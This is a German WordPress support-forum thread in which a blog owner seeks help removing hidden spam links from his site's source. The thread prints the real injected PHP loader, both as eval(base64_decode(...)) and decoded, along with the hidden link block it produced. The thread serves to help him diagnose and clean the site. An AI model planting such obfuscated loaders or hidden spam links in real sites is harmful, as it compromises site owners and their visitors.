Seite mit Links gefühllt

ohnegleichen76

Einer meine Blogs (http://www.hochflaechendesign.de) ist mit massig Links gefüllt welche nur im Quelltext auftauchen nun habe ich schon gesucht aber die Schadhafte Datei nicht gefunden . Die Links tauchen komischer Weise nur auf den Unterseiten auf! Event. kann ja jemand helfen

Quelltext sieht dan so aus:

PHP

<!-- 179 Abfragen. 0.594 Sekunden. --> <style>#kgwc {position:absolute;overflow:auto;height:0;width:0;}</style><font id="kgwc"><br><a href="http://zhugo.co.cc/ttu-garmin-map-update-2008.php">garmin map update 2008</a></br> <br><a href="http://www.gilatravel.info/jfm-geographic-map-of-new-york.php">geographic map of new york</a></br> <br><a href="http://blog.extremedix.com/ikk-elevation-grade-map">elevation grade map</a></br> <br><a href="http://www.harjas.com/zzw-earth-map-topographic.htm">earth map topographic</a></br> <br><a href="http://www.thetravelingduo.com/vko-garmin-nav-2-motorcycle-maps.htm">garmin nav 2 motorcycle maps</a></br> <br><a href="http://forum.larpaweb.net/krj-floyd-river-map.asp">floyd river map</a></br> <br><a href="http://dentalpioneira.com.br/mrd-florida-county-map-info.phtml">florida county map info</a></br> <br><a href="http://www.ihatepeas.net/aua-england-map-wikipedia.html">england map wikipedia</a></br> <br><a href="http://dxpetti.com/ehx-free-old-world-maps.php5">free old world maps</a></br> <br><a href="http://thegodlessrepublican.com/vdi-geological-formation-maps-in-pasda/">geological formation maps in pasda</a></br> <br><a href="http://practicalmindset.com/ywe-downloads-dota-map-v6-51ai-plus-w3x.shtml">downloads dota map v6 51ai plus w3x</a></br> <br><a href="http://www.aabcollections.com/rhv-fort-lauderdale-gis-maps.php4">fort lauderdale gis maps</a></br> <br><a href="http://www.persephoneshaven.com/rrj-florida-map-and-counties.php5">florida map and counties</a></br> <br><a href="http://www.syrinis.com/ien-foire-stuttgart-park-map">foire stuttgart park map</a></br> <br><a href="http://lockharts.ca/rij-edison-southern-maps-grid">edison southern maps grid</a></br> <br><a href="http://www.ihatepeas.net/aua-england-cheshire-wirral-map.php4">england cheshire wirral map</a></br> <br><a href="http://reevue.com/xkj-free-atlas-maps.php">free atlas maps</a></br> <br><a href="http://zhugo.co.cc/ttu-garmin-streetpilot-c330-upgrade-map.html">garmin streetpilot c330 upgrade map</a></br> <br><a href="http://www.xiftw.com/kuj-elevation-map-canada.shtml">elevation map canada</a></br> <br><a href="http://www.geniei.com/wcm-gemena-congo-map">gemena congo map</a></br> <br><a href="http://notes.dangerous-sheep.com/wds-fishing-maps-of-drummond-island-michigan.phtml">fishing maps of drummond island michigan</a></br> <br><a href="http://metal.avempire.net/edx-down-load-an-alaskan-map.asp">down load an alaskan map</a></br> <br><a href="http://multitouchmacs.com/mnz-garage-sales-springfield-mo-maps">garage sales springfield mo maps</a></br> <br><a href="http://blog.thenuclearsummer.com/tyv-florence-south-carolina-airport-map.html">florence south carolina airport map</a></br> <br><a href="http://versosdeamor.blogxred.com/hkf-fort-lauderdale-fl-map.php3">fort lauderdale fl map</a></br> <br><a href="http://www.craft-maniac.com/est-full-color-us-map.shtml">full color us map</a></br> <br><a href="http://www.kittenzone.net/pfj-free-heroic-map-pack-download.shtml">free heroic map pack download</a></br> <br><a href="http://igdigestng.com/asq-distances-maps.html">distances maps</a></br> <br><a href="http://www.blog.domesticappliance.info/obg-find-yatton-map.html">find yatton map</a></br> <br><a href="http://dentalpioneira.com.br/mrd-florida-economy-maps.phtml">florida economy maps</a></br> <br><a href="http://www.ihatepeas.net/aua-englands-continent-labeled-on-a-map.php">englands continent labeled on a map</a></br> <br><a href="http://www.resellers-heavenx.com/qkg-free-satalight-maps.html">free satalight maps</a></br> <br><a href="http://www.nyahalcyon.net/cpi-folding-london-tube-map/">folding london tube map</a></br> <br><a href="http://multitouchmacs.com/mnz-game-time-trigger-for-starcraft-maps.php3">game time trigger for starcraft maps</a></br> <br><a href="http://www.gilatravel.info/jfm-geodetic-maps.shtml">geodetic maps</a></br> <br><a href="http://www.persephoneshaven.com/rrj-florida-flood-zone-map.php">florida flood zone map</a></br> <br><a href="http://riphagen.org/mhs-egypt-map-datum.htm">egypt map datum</a></br> <br><a href="http://www.digitalpulse.org/kdf-ephrata-area-school-district-boundary-map.php3">ephrata area school district boundary map</a></br> <br><a href="http://metal.avempire.net/edx-dota-portal-maps-download.shtml">dota portal maps download</a></br> <br><a href="http://lockharts.ca/rij-edinburgh-shopping-map.asp">edinburgh shopping map</a></br> <br><a href="http://www.positivelysomewhere.com/rfs-entire-topographic-map-of-asia.asp">entire topographic map of asia</a></br> <br><a href="http://www.apdetap.nl/pet-genus-homo-map-and-chart.html">genus homo map and chart</a></br> <br><a href="http://www.apdetap.nl/pet-geodetic-maps.php3">geodetic maps</a></br> <br><a href="http://dentalpioneira.com.br/mrd-florida-counties-and-map/">florida counties and map</a></br> <br><a href="http://ciaracorr.com/cxw-enviro-map.htm">enviro map</a></br> <br><a href="http://www.gilatravel.info/jfm-genova-port-map.htm">genova port map</a></br> <br><a href="http://www.flinge.co.uk/iyw-garmin-map-topo-downloads/">garmin map topo downloads</a></br> <br><a href="http://www.harjas.com/zzw-eab-ohio-quarantine-map.shtml">eab ohio quarantine map</a></br> <br><a href="http://blog.extremedix.com/ikk-electoral-college-map-for-2008/">electoral college map for 2008</a></br> <br><a href="http://versosdeamor.blogxred.com/hkf-fort-collins-co-maps.html">fort collins co maps</a></br> <br><a href="http://www.blog.domesticappliance.info/obg-finney-county-map.html">finney county map</a></br> <br><a href="http://notes.dangerous-sheep.com/wds-flat-earth-projection-map.html">flat earth projection map</a></br> <br><a href="http://www.christian-yorke.com/yyt-europe-on-world-map/">europe on world map</a></br> <br><a href="http://www.aabcollections.com/rhv-forrest-map-of-washington.html">forrest map of washington</a></br> <br><a href="http://www.positivelysomewhere.com/rfs-encino-california-map.htm">encino california map</a></br> <br><a href="http://www.harjas.com/zzw-earth-3d-map/">earth 3d map</a></br> <br><a href="http://www.blog.domesticappliance.info/obg-fios-channel-map-dc-qam-tuner/">fios channel map dc qam tuner</a></br> <br><a href="http://www.christian-yorke.com/yyt-europe-and-north-america-map.html">europe and north america map</a></br> <br><a href="http://dxpetti.com/ehx-free-printable-map-upper-michigan.jsp">free printable map upper michigan</a></br> <br><a href="http://www.craft-maniac.com/est-functions-of-map-and-limitations.phtml">functions of map and limitations</a></br> <br><a href="http://www.flinge.co.uk/iyw-garmin-nuvi-loading-maps-slow/">garmin nuvi loading maps slow</a></br> <br><a href="http://www.thejaspertone.com/viu-englewood-colorado-map.htm">englewood colorado map</a></br> <br><a href="http://thegodlessrepublican.com/vdi-geography-map-games-online-nbr.htm">geography map games online nbr</a></br> <br><a href="http://webshopbox.com/ifx-escondido-high-schools-boundary-map.php">escondido high schools boundary map</a></br> <br><a href="http://webandpaper.net/dik-free-city-maps-of-bangladesh-khulna.htm">free city maps of bangladesh khulna</a></br> <br><a href="http://www.indonesia-photos.com/nce-esso-map.shtml">esso map</a></br> <br><a href="http://www.craft-maniac.com/est-funny-hurricane-map-pic">funny hurricane map pic</a></br> <br><a href="http://versosdeamor.blogxred.com/hkf-fort-detroit-map.asp">fort detroit map</a></br> <br><a href="http://www.flinge.co.uk/iyw-garmin-streetpilot-2710-map-updates">garmin streetpilot 2710 map updates</a></br> <br><a href="http://www.royfarfel.com/lto-foreign-country-map.php3">foreign country map</a></br> <br><a href="http://www.bumpsetspike.com/nzf-garmin-and-yahoo-maps-downloading.php3">garmin and yahoo maps downloading</a></br> <br><a href="http://www.gilatravel.info/jfm-geographic-map-of-africa.html">geographic map of africa</a></br> <br><a href="http://blog.thenuclearsummer.com/tyv-florida-lake-topo-maps">florida lake topo maps</a></br> <br><a href="http://www.christian-yorke.com/yyt-european-corn-borer-infestation-map.php5">european corn borer infestation map</a></br> <br><a href="http://www.nyahalcyon.net/cpi-fockenberg-germany-map/">fockenberg germany map</a></br> <br><a href="http://www.geniei.com/wcm-gary-south-shore-map.jsp">gary south shore map</a></br> <br><a href="http://reevue.com/xkj-francis-drake-s-maps.php">francis drake s maps</a></br> <br><a href="http://thegodlessrepublican.com/vdi-geological-maps-of-indiana.asp">geological maps of indiana</a></br> <br><a href="http://www.sitespotted.com/pwo-free-map-east-coast-of-massachusetts">free map east coast of massachusetts</a></br> <br><a href="http://www.voracites.com/sia-free-map-of-asaia">free map of asaia</a></br> <br><a href="http://fue-hair-blog.fueclinics.com/elz-dutch-harbor-bearing-sea-map-tv.phtml">dutch harbor bearing sea map tv</a></br> <br><a href="http://www.apdetap.nl/pet-gentran-upgrade-map-version/">gentran upgrade map version</a></br> <br><a href="http://ciaracorr.com/cxw-empty-u-s-a-maps.html">empty u s a maps</a></br> <br><a href="http://www.positivelysomewhere.com/rfs-enemy-territory-original-maps">enemy territory original maps</a></br> <br><a href="http://www.positivelysomewhere.com/rfs-england-map-1200s.shtml">england map 1200s</a></br> <br><a href="http://practicalmindset.com/ywe-downtown-chicago-walking-map/">downtown chicago walking map</a></br> <br><a href="http://www.ihatepeas.net/aua-encarta-map-showing-queen-s-eyot-uk.jsp">encarta map showing queen s eyot uk</a></br> usw

Werbepost

Hallo!

Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
✔️ Deutsche Server & DSGVO-konform
✔️ Persönlicher Support (kein 0815-Ticket-System)

Mehr erfahren

Marcus[IS]

Mojn,

Es wäre auf ganz hilfreich, wenn du uns noch ein paar Infos geben kannst;

Welche WP Version?
Eigener Server, V-Server, oder Webspace bei einem Provider?
Welche Plugins kommen zum Einsatz?

Ein Blick auf diese Seite würde ich empfehlen.
http://toscho.de/2009/website-gehackt/

Des weiteren kannst du mal in deinen php Dateien des Themes nachschauen, ob dort eventuell Verschlüsselter Code enthalten ist, der nicht dahingehört.
Also der Stelle nach zu Urteilen wo die Einträge auftauchen, vermute ich mal dass es eventuell in der footer.php zu finden wäre.

Solcher Code macht sich durch eine Anreihung von Zahlen und Buchstabenketten bemerkbar, wie in diesem Beispiel;

Code

SXN0IGRvY2ggbnVyIGVpbiBCZWlzcGllbA==

Edit;

Zitat

Die Links tauchen komischer Weise nur auf den Unterseiten auf! Event. kann ja jemand helfen

Nicht ganz, die Links sind auch schon beim Ersten Aufruf der Website im Quelltext vorhanden. ;)

ohnegleichen76

Wordpressversion 2.7.1 auf V-Server gehostet. Dinge wie Plugins habe ich natürlich eine ganze Latte, aber selbst wenn ich alle deaktiviere sind die Links da. :-(

PHP

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy92YXIvd3d3L3dlYjIwL2h0bWwvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvc2tpbnMvZGVmYXVsdC9pbWcvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

habe ich schon entfernt, das war ja noch einfach. Die Links stehen im Quelltext irgendwie unter dem eigentlichen Footerinhalt

PHP

<div class="art-footer">
    <div class="art-footer-inner">
        <a href="<?php bloginfo('rss2_url'); ?>" class="art-rss-tag-icon" title="RSS"></a>
        <div class="art-footer-text">
<p>
<?php
 global $default_footer_content;
 $footer_content = stripslashes(get_option('art_footer_content')); 
 if ($footer_content === false) $footer_content = $default_footer_content;
 echo $footer_content;
?>
</p>
</div>
    </div>
    <div class="art-footer-background">
    </div>
</div>


        <div class="cleared"></div>
    </div>
</div>
<div class="cleared"></div>
<p class="art-page-footer">
<center><a href="http://www.seitwert.de/?url=www.hochflaechendesign.de" title="Seitwert von www.hochflaechendesign.de"><img src="http://img.seitwert.de/4e/e5/4ee50cbe641639c9b8138734df726889_white.png" width="88" height="31" alt="Seitwert" style="border:0;"></a> 
<center><a href="http://www.handwerkernet.de" target="_blank"><img src="http://www.handwerkernet.de/banner/handwerkernet-mini2.gif" width="20" height="20" alt="www.handwerkernet.de- das Branchenverzeichnis zum Handwerk" border="0"></a> 


</div>


<!-- <?php printf(__('%d queries. %s seconds.', 'kubrick'), get_num_queries(), timer_stop(0, 3)); ?> -->
<?php ob_start(); wp_footer(); $content = ob_get_clean(); if (strlen($content)) echo '<div>' . $content . '</div>'; ?>
</body>
</html>

Alles anzeigen

Marcus[IS]

Mojn,

Zitat

Wordpressversion 2.7.1 auf V-Server gehostet.

Ich denke, da haben wir die Antwort.

Deine WordPress Version ist nicht aktuell und vermutlich hat der Skripter eine Sicherheitslücke ausgenutzt.

Mittlerweile sind wir bei Version 3.1.3 und inzwischen wurden nicht nur Grundlegende Funktionsänderungen gemacht, sondern auch teilweise recht pikante Sicherheitslücken geschlossen.

Die von dir angegebene Zeile mit dem eval Code sagt im Klartext dieses hier aus;

Code

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/var/www/web20/html/wp-includes/js/tinymce/themes/advanced/skins/default/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

Ich kenne mich ein wenig mit Artisteer generierten Themes aus, da ich selber Themes verwende, die mit diesem Programm erstellt wurden.
Doch der Quelltext in deiner footer.php sieht total anders aus, als der von mir, was aber nichts heißen will, da bei deinem Theme eine andere Version verwendet wurde, als bei mir.

Was mich allerdings stutzig macht, sind diese Sachen am Ende deiner footer.php;

PHP

<?php
ob_start();
wp_footer();
$content = ob_get_clean();
if (strlen($content)) echo '<div>' . $content . '</div>';
?>

Ich weiß nicht wofür das gut sein soll, wenn ich ehrlich bin.

Die footer.php sieht bei mir so aus;

PHP

<?php  
$content = ob_get_clean();
echo art_parse_template(art_page_template(), art_page_variables(array('content'=> $content)));
?>
    <div id="wp-footer">
            <?php wp_footer(); ?>
            <!-- <?php printf(__('%d queries. %s seconds.', THEME_NS), get_num_queries(), timer_stop(0, 3)); ?> -->
    </div>
</body>
</html>

Also wie du sieht ziemlich anders, was aber auch nicht aussagekräftig ist, da das Theme ja noch von Hand nachträglich umgebaut worden sein könnte.

Nachtrag;
Es kann überigends auch sein, dass sich der Schadcode noch zusätzlich in deiner Datenbank befindet.

Es gibt diverse Exploit Scanner, mit denen du die Datenbank durchsuchen kannst.
Gibt diverse Forenbeiträge diesbezüglich.
http://forum.wordpress-deutschland.org/search.php?searchid=2123787

ohnegleichen76

Zitat von 'Marcus[IS
;396000']Mojn,
Was mich allerdings stutzig macht, sind diese Sachen am Ende deiner footer.php;
PHP
<?php
ob_start();
wp_footer();
$content = ob_get_clean();
if (strlen($content)) echo '<div>' . $content . '</div>';
?>
Ich weiß nicht wofür das gut sein soll, wenn ich ehrlich bin.
http://forum.wordpress-deutschland.org/search.php?searchid=2123787

Was komisch iss die Passage steht nicht in der Footer drin, versteh ich alles nicht habs doch da rauskopiert

ohnegleichen76

so...Schnauze voll, darf ich das so schreiben? :-) Update auf die neuste Version und alles wieder schick. Habe natürlich alle WP Datein vorab vom Server gelöscht Danke Trotzdem für die Hilfe ?

WP-Theme.eu

jo, die aktuellste Version - der beste Weg. :p

Willkommen! Melden Sie sich an oder registrieren Sie sich.

Seite mit Links gefühllt

Jetzt mitmachen!